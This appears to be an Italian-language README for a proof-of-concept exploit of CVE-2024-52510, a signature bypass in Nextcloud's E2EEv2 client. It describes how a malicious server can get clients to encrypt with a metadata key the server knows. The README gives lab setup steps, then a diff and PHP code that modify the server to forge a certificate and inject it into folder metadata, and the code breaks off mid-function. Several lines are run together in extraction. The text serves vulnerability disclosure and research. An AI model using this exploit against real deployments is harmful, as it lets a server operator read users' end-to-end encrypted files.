
Exploit proof-of-concept per CVE-2024-52510 che dimostra il bypass della firma nel protocollo E2EEv2 di Nextcloud, consentendo la decrittazione lato server di file crittografati tramite iniezione di chiavi nei metadati.
Durante il normale funzionamento del protocollo E2EEv2 di Nextcloud, i client firmano crittograficamente i metadati delle cartelle prima di caricarli sul server. Questo garantisce che i metadati non siano stati manomessi quando vengono recuperati per scopi di condivisione dei file o sincronizzazione delle modifiche.
La verifica della firma viene eseguita dal client in
foldermetadata.cpp:177
quando i metadati recuperati vengono inizializzati. Tuttavia, ci sono due modi con cui un server malevolo può bypassare questo controllo:
Può rispondere con un header di risposta X-E2EE-SIGNATURE vuoto. Poiché
l'header è vuoto, la condizione in
foldermetadata.cpp:168
fa sì che la verifica della firma non avvenga, e i metadati alterati
vengono accettati dal client.
Può iniettare un certificato nell'array JSON users, e poi firmare
i metadati con quel certificato. Poiché CMS_NO_SIGNER_CERT_VERIFY viene
passato in
clientsideencryption.cpp:941,
il certificato di firma non viene verificato a catena e il client controlla solo
che il certificato di firma sia presente nel vettore certificatePems
(clientsideencryption.cpp:955-971)
che è controllato dal server.
In questo POC dimostreremo quest'ultimo metodo in quanto è il più difficile da implementare, tuttavia entrambi sono stati testati e funzionano.
Un server malevolo può utilizzare questo bypass per fornire ai client chiavi di metadati note al server. I client useranno quindi questa chiave di metadati per crittografare i file successivi, permettendo al server di decrittare e leggere i file in cartelle crittografate end-to-end.
Questo modo di sfruttare il bypass della firma si basa su un attacco trovato da Albrecht, Backendal, Coppola, Paterson nel 2023 (https://eprint.iacr.org/2024/546) su una versione precedente del protocollo E2EE. In effetti, l'autenticazione delle chiavi di metadati era una strategia di mitigazione per l'attacco (vedere la sezione 5.1 del documento collegato).
Clona questo repository e aprilo in VS Code usando l'estensione DevContainer. È stato fornito un DevContainer basato su quello del repository del server Nextcloud con le seguenti modifiche:
mitmproxy è presente sulla porta 7001. L'interfaccia web è accessibile sulla porta 7002.encryption e end_to_end_encryption, e verrà creato un account con nome utente e password sharer.Una volta che il server è attivo, connettiti ad esso all'indirizzo http://localhost:8000 (o tramite il proxy inverso a http://localhost:7001) usando l'ultimo client. Attualmente ho testato questo sulla v3.13.2 AppImage.
sha256sum Nextcloud-3.13.2-x86_64.AppImage
92ec0a5260f6260fa8ce92acdb022c441f0efbf6b57cc96d75ac608ccb4c4ee2 Nextcloud-3.13.2-x86_64.AppImage
Quando richiesto, accedi con nome utente sharer e password sharer. Accetta le opzioni di sincronizzazione predefinite (creazione di una directory ~/Nextcloud/ con welcome.txt al suo interno) e configura la crittografia end-to-end nelle impostazioni del client Nextcloud.
Crea una nuova cartella encrypted_folder all'interno della directory ~/Nextcloud. Nelle impostazioni del client Nextcloud, segna questa cartella come crittografata.

Nextcloud/encrypted_folder, crea un semplice file di testo e attendi che venga sincronizzato.# ~/Nextcloud/encrypted_folder
$ echo 'this should be encrypted' > file.txt
Accedi al database Postgres in Adminer all'indirizzo http://localhost:8080/ utilizzando le credenziali:
postgrespostgrespostgrese naviga verso le tabelle oc_e2e_encryption_metadata e oc_e2e_encryption_decrypted. Dovresti essere in grado di vedere i metadati decrittati e il contenuto del file in chiaro.

Negli screenshot sopra sono stati creati ed eliminati un paio di file di test extra, quindi saranno leggermente diversi da ciò che vedi
Questo repository è basato sui repository Nextcloud server e app di crittografia end-to-end. La maggior parte del codice rimane invariata, quindi cercherò di spiegare cosa è stato modificato.
In primo luogo, il metodo getMetadata di MetaDataStorage.php è stato alterato per
manomettere i metadati restituiti chiamando un nuovo metodo getFakeUserMetadata.
--- original/lib/MetaDataStorage.php 2024-07-11 23:38:16.105826088 +1000
+++ nc-server/apps/end_to_end_encryption/lib/MetaDataStorage.php 2024-07-11 21:05:37.734565037 +1000
@@ -68,14 +82,12 @@
return $legacyFile->getContent();
}
- $folderName = $this->getFolderNameForFileId($id);
- $folder = $this->appData->getFolder($folderName);
+ $metaData = $this->getFakeUserMetadata($id);
- return $folder
- ->getFile($this->metaDataFileName)
- ->getContent();
+ return $metaData;
}
Nel metodo getFakeUserMetadata, iniettiamo prima un certificato scelto nella chiave JSON users. Questo per facilitare la contraffazione della firma.
private function getFakeUserMetadata(int $id): string {
$folderName = $this->getFolderNameForFileId($id);
$folder = $this->appData->getFolder($folderName);
$metaData = json_decode($folder->getFile($this->metaDataFileName)->getContent());
if (is_null($metaData->users)) {
/* This is a non-root metadata. Return as normal*/
return json_encode($metaData);
}
/*
* Step 1: Inject a fake public key into the metadata
* This can be used to forge a signature for the response.
*/
$found = false;
foreach ($metaData->users as $userData) {
if ($userData->userId === $this->fakeUserId) {
$found = true;
break;
}
}
if (!$found) {
try {
$certificateFile = $folder->getFile($this->fakeUserPublicCertificateFileName);
$privateKeyFile = $folder->getFile($this->fakeUserPrivateKeyFileName);
$pemCertificate = $certificateFile->getContent();
} catch (NotFoundException $e) {
/* Create a new private key for the fake user */
$privateKey = openssl_pkey_new();
openssl_pkey_export($privateKey, $privateKeyPem);
$folder->newFile($this->fakeUserPrivateKeyFileName)->putContent($privateKeyPem);
/* Client is expecting a certificate for the public key */
$csr = openssl_csr_new(array(), $privateKey);
$certificate = openssl_csr_sign($csr, null, $privateKey, 365);
openssl_x509_export($certificate, $pemCertificate);
$folder->newFile($this->fakeUserPublicCertificateFileName)->putContent($pemCertificate);
}